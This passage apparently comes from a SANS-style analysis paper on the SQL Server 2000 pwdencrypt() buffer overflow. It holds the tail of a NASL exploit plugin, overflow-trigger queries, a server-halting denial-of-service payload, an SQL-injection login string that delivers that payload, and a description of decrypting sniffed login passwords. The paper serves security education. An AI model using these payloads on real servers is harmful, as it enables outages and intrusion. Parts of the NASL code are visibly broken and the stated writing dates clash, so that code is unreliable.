        #r=recv(socket:soc, length:4096);
        #debug
        #display("Login returned:", r);
        #display("Sending:",packet.tds_pwdencrypt);
        send(socket:soc, data:packet.tds_pwdencrypt);
        r=recv(socket:soc, length:4096);
        close(soc);

        #debug display packet received in return
        #display ("Result:",r);

        #if it worked, the server will return a fatal exception error
        #here's the word "fatal exception" in unicode
        fatal_exception=raw_string(0x66,0x00,0x61,0x00,0x74,0x00,0x61,0x00,0x00,0x6C,0x00,0x20, 0x00,0x65,0x00,0x76,0x00,0x63,0x00,0x65,0x00,0x70,0x00,0x74,0x00,0x69,0x00,0x6F,0x00,0x6E,0

        x00
        );
        #debug
        #display(fatal_exception,"\n");
        if((fatal_exception >>= r )) || ("fatal exception" >>= r))
        {
            security_hole(port:port, data:report);
        }
        else
        {
            display("No fatal exception. Received:","r);
        }
    }

}

The above script can be run from the NASL utility or imported using the nessus import facility. The script will appear in the Windows group and is marked as a dangerous plug-in since it will attempt to execute code that can harm the server. Since the exploit requires an existing SQL connection it will only work unmodified on SQL servers with no password on the sa account. If you would like to use it on your servers you must edit the login packets to include the sa password. It is not recommended to remove the password on the sa account simply for the purposes of running this script! The code is commented to document the packet hex value for lowercase alphabetic passwords. This should be sufficient for most installations since SQL server does not distinguish between case values for username or passwords.
The packet may contain lowercase or uppercase, however SQL server will not reject a login because of case discrepancies. If you set the sa password to 'b' and login with 'B' your credentials will still be honored. Alternatively, you could use the stored procedure provided at:


to encrypt/decrypt passwords in Unicode hex and insert them into the nessus script. For example, running the SQL command

```sql
select ({encrypt N'a'})
```

Will return the hex value for the Unicode version of the encrypted lowercase ‘a’: 0xB3A5 If it is not already obvious, it is now worth noting how easy these tools make it to sniff credentials from SQL server login packets and decrypt them for use in exploits like this. One simply needs to capture the login then feed the encrypted value through the function supplied by SQLSecurity.com as follows

```sql
sp_decrypt_ODBC '0xB3A5'
```

This function will, of course, return the letter ‘a’.

Microsoft notes the weakness in it encryption in its knowledgebase article touting the addition of encrypted password strings to SQL 7.0

http://support.microsoft.com/default.aspx?scid=kb%3Ben-us%3B252660

“To prevent someone from being able to view a password in clear text, standard SQL Server ODBC connections to a SQL Server 7.0 Server appear encrypted in a network trace. The encryption algorithm is not strong, does not use a 128 bit algorithm and is not recommended for connections across the internet.”

The vendor involved in this exploit, Microsoft, has several actions it could take to remedy this vulnerability. First is to perform proper string length checking on all functions within SQL server whether or not the functions are documented. The patch for this vulnerability fixes this function; but it is not clear whether other functions are remedied or remain as vulnerable. Secondly, the vendor could allow administrators proper controls over functions like this so that once they are discovered, access to them can be limited or disabled. Allowing undocumented functions in production-level software is a dangerous practice, especially when there are no facilities to control access to these functions.

In addition, Microsoft can go a long way towards providing SQL Server administrators with documentation and a proper toolkit to use when analyzing the security of their SQL Server installations. As of this writing (Jan 27th, 2002) there isn’t even a checklist for SQL Server in any version at the technet “Security Tools and Checklists” page:

Checklists for NT and IIS have existed for quite some time, as have toolkits to foster proper hardening of their functions. While the baseline security analyzer attempts to tackle SQL Server, it only checks to ensure you have the latest hot-fixes. It does nothing to secure SQL server in a manner similar to the IIS lockdown tool. At the very least Microsoft could update the documentation and certification for SQL 2000 in a C2-level environment. The current evaluated C2 configuration is dated November, 2 2000 and requires SQL 2000 running on NT4.0


C2-level configurations or equivalents should be provided for Windows 2000, XP, .Net, etc. In addition recommendations should be provided if your application requires components that were not supported in the evaluated C2 configuration. For example, the C2 documentation requires the administrator to remove or disable metadata services, Data Transformation Services, and the Distributed Transaction Coordinator among others. If your application requires the use of these oft-touted services, the administrator is left with little or no guidance on how to properly secure them. Microsoft has demonstrated a great ability to push the technology industry in the development of standards when it is in the best interest of Microsoft. This is one instance where it may be in Microsoft’s best interest to push the industry into developing security standards, accreditations and the tools to manage product configuration combinations. At the very least Microsoft should recommend secure configurations for all combinations of its own products.

Source code/ Pseudo code

The BugTraq documentation of the vulnerability (http://online.securityfocus.com/archive/1/276953) includes the following source code from Martin Rakhmanoff (jimmers@yandex.ru) to initiate the overflow:

```
SELECT pwdencrypt(REPLICATE('A',353))
```

It notes that “On some systems it may require larger amount of characters to cause overflow (1000 is enough in any case).” In my own experimentation on an NT 4.0 SP6a system with SQL @@Version returning:

```
Microsoft SQL Server  2000 - 8.00.194 (Intel X86)  Aug 6 2000 00:57:48
Copyright (c) 1988-2000 Microsoft Corporation  Standard Edition on Windows NT 4.0 (Build 1381: Service Pack 6)
```

I can initiate an overflow with as little as 163 characters sent to the routine.

```
SELECT pwdencrypt(REPLICATE('A',163))
```

This results in the following errors returned to the calling program (in this case Query Analyzer), logged in the NT Event log and SQL Error logs.
ODBC: Msg 0, Level 19, State 1
SqlDumpExceptionHandler: Process 51 generated fatal exception c0000005
EXCEPTION_ACCESS_VIOLATION. SQL Server is terminating this process.
Connection Broken

The test code is simply using the replicate function to create a string of ‘A’ characters of a particular length, then passing that string to the pwdencrypt() function.

A variation of this code to include a null terminator as the first character is enough to halt the instance of SQL server.

    select pwdencrypt( nchar(0xffff) + REPLICATE(N'A', 1000) )

SQL Server will terminate with no record or error message recorded in the NT event log or SQL error log. The client will receive an error message. This makes this particular exploit useful in denial of service attacks against hosts that are vulnerable to SQL injection.

If a web site is known to use SQL 2000, and its application code does not check input values for SQL injection techniques the small payload of this exploit makes it particularly easy to execute.


Here is an exploit of his example of a vulnerable login facility implemented in active server pages (pages 4-6). When presented with the login page from Anley’s script the attacker enters a username as follows:

    Username: ';select pwdencrypt(nchar(0xffff) + replicate(N'A',1000))--

The resulting command sent to SQL server will be:

    Select * from users where username = '';select pwdencrypt(nchar(0xffff) + REPLICATE(N'A', 1000))-- 'and password = '

This SQL injection attack alters the single command to form two commands. The first simply executes a

    select * from users where username = ''

This should return no rows. The semicolon that was entered as part of the username is the SQL notation used to combine two commands on one line. The second command contains our payload execution of the pwdencrypt() function. By including the SQL comment character -- at the end of our payload we tell SQL to ignore the remainder of the command.

This command will execute in the context of the SQL server account the ASP application is using which will by default allow the execution of the vulnerable pwdencrypt() function. As discussed, the arguments sent to this function will overflow
and execute in the context of the NT account used by SQL server and in this case can effectively shut down the server from a simple login query on an ASP login page.

Conclusion

The `pwdencrypt()` vulnerability is a classic buffer overflow exploit. The attacker can make use of an undocumented, little understood function that is accessible by default to every authenticated user to pass any code of their choosing to the operating system in the context of a trusted service. This vulnerability is particularly dangerous in that some system administrators would initially dismiss its severity. They may reason that to exploit it would be difficult since the attacker must use a legitimate connection to SQL server in order to initiate the exploit. However, there are many ways to acquire such a connection through insiders, weak credentials, development systems, linked servers, default passwords, through SQL injection, or through other vulnerabilities such as CVE-2001-0344 which allows local users to gain connections by re-using cached sa connections.

Vulnerabilities like this combined with the lack of documentation, support, toolkits or training specific to SQL Server security create a dangerous environment ripe for targeting in a variety of attacks.

At the time of this writing (Jan 27th, 2003), the W32/SQL Slammer worm has just infected over 35,000 servers in under 24 hours using a vulnerability that has been patched since July 24th, 2002. The patch for the `pwdencrypt()` vulnerability has existed since July 10th, 2002. How many servers exist that do not include the patch for this vulnerability?

References

Internet Storm Center Internet port attack traffic. URL
http://www.incidents.org/

Microsoft. “Mapping of net library to transport layers”. URL:

Microsoft “Definition of the TDS protocol”. URL:

“Microsoft Security Bulletin MS02-034”. V1.0 July 10, 2002. URL:
http://www.microsoft.com/technet/security/bulletin/ms02-034.asp

Common Vulnerabilities and Exposures. URL:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0624+

Microsoft Fix. URL:

ISS Xforce Database. June 14, 2002. URL:
http://www.iss.net/security_center/static/9345.php


Rakhmanoff, Martin. jimmers@yandex.ru. June 14, 2002. URL: http://online.securityfocus.com/archive/1/276953


“FreeTDS project”. URL: www.fretds.org

Rakhmanoff, Martin. jimmers@yandex.ru. SecuriTeam. 10/22/2002. URL: http://www.securiteam.com/windowsntfocus/6O00L0K5PC.html


### Upcoming SANS Penetration Testing

<table>
<thead>
<tr>
<th>Event</th>
<th>Location</th>
<th>Dates</th>
<th>Venue</th>
</tr>
</thead>
<tbody>
<tr>
<td>SANS London April Live Online 2020</td>
<td>London, United Kingdom</td>
<td>Apr 20, 2020 - Apr 25, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Instructor-Led Training</td>
<td>Apr 27</td>
<td></td>
<td></td>
</tr>
<tr>
<td>SANS Pen Test Austin 2020</td>
<td>Austin, TX</td>
<td>Apr 27, 2020 - May 02, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Live Online - SEC504: Hacker Tools, Techniques, Exploits and Incident Handling</td>
<td>United Arab Emirates</td>
<td>May 04, 2020 - Jun 10, 2020</td>
<td>vLive</td>
</tr>
<tr>
<td>Instructor-Led Training</td>
<td>May 4</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Live Online - SEC560: Network Penetration Testing and Ethical Hacking</td>
<td>United Arab Emirates</td>
<td>May 05, 2020 - Jun 11, 2020</td>
<td>vLive</td>
</tr>
<tr>
<td>Hong Kong SE Asia Live Online 2020</td>
<td>Hong Kong, Hong Kong</td>
<td>May 11, 2020 - May 22, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Security West 2020</td>
<td>San Diego, CA</td>
<td>May 11, 2020 - May 16, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Autumn Australia Live Online 2020</td>
<td>Sydney, Australia</td>
<td>May 18, 2020 - May 29, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Live Online - SEC560: Network Penetration Testing and Ethical Hacking</td>
<td>United Arab Emirates</td>
<td>May 18, 2020 - Jun 06, 2020</td>
<td>vLive</td>
</tr>
<tr>
<td>Live Online - SEC504: Hacker Tools, Techniques, Exploits, and Incident Handling</td>
<td>United Arab Emirates</td>
<td>May 19, 2020 - Jun 06, 2020</td>
<td>vLive</td>
</tr>
<tr>
<td>Live Online - SEC660: Advanced Penetration Testing, Exploit Writing, and Ethical Hacking</td>
<td>United Arab Emirates</td>
<td>May 26, 2020 - Jul 02, 2020</td>
<td>vLive</td>
</tr>
<tr>
<td>2-Day Firehose Training</td>
<td>May 26</td>
<td></td>
<td></td>
</tr>
<tr>
<td>CS-Cybersecure Catalyst New Canadians Academy SEC504</td>
<td>Brampton, ON</td>
<td>Jun 01, 2020 - Jun 06, 2020</td>
<td>Community SANS</td>
</tr>
<tr>
<td>CS Cybersecure Catalyst Women Academy SEC504</td>
<td>Brampton, ON</td>
<td>Jun 01, 2020 - Jun 06, 2020</td>
<td>Community SANS</td>
</tr>
<tr>
<td>Instructor-Led Training</td>
<td>Jun 1</td>
<td></td>
<td></td>
</tr>
<tr>
<td>CS-Cybersecure Catalyst New Career Academy SEC504</td>
<td>Brampton, ON</td>
<td>Jun 01, 2020 - Jun 06, 2020</td>
<td>Community SANS</td>
</tr>
<tr>
<td>Rocky Mountain HackFest Summit &amp; Training 2020</td>
<td>Virtual - US Mountain,</td>
<td>Jun 04, 2020 - Jun 13, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANSFIRE 2020</td>
<td>DC</td>
<td>Jun 13, 2020 - Jun 20, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Instructor-Led Training</td>
<td>Jun 22</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Cyber Defence Australia Online 2020</td>
<td>Australia</td>
<td>Jun 22, 2020 - Jul 04, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Japan Live Online July 2020</td>
<td>Japan</td>
<td>Jun 29, 2020 - Jul 11, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>2-Day Firehose Training</td>
<td>Jul 1</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Live Online - SEC660: Advanced Penetration Testing, Exploit Writing, and Ethical Hacking</td>
<td>United Arab Emirates</td>
<td>Jul 06, 2020 - Aug 12, 2020</td>
<td>vLive</td>
</tr>
<tr>
<td>Instructor-Led Training</td>
<td>Jul 6</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>